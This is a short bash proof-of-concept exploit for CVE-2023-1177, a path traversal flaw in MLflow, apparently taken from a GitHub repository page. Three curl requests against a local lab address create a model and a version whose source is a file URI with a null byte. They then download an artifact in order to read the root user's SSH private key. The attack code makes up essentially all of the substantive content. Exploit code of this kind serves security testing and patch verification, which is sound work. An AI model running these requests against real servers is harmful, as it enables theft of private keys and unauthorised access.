#!/bin/bash
RAND="EXPLOIT-$((1+$RANDOM%9999))"
URL="http://172.17.0.2:6001"
FILE='/root/.ssh/id_rsa'
curl -vX POST "$URL/ajax-api/2.0/mlflow/registered-models/create" -d "{\"name\":\"$RAND\"}" -H "Content-Type: application/json"
curl -vX POST "$URL/ajax-api/2.0/mlflow/model-versions/create" -d "{\"name\":\"$RAND\",\"source\":\"file://%00${FILE%/*}/\"}" -H "Content-Type: application/json"
curl -v "$URL/model-versions/get-artifact?path=${FILE##*/}&name=$RAND&version=1"
-
Notifications
You must be signed in to change notification settings - Fork 0
MLFlow Path Traversal
License
charlesgargasson/CVE-2023-1177
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
About
MLFlow Path Traversal
Topics
Resources
License
Stars
Watchers
Forks
Releases
No releases published
Packages 0
No packages published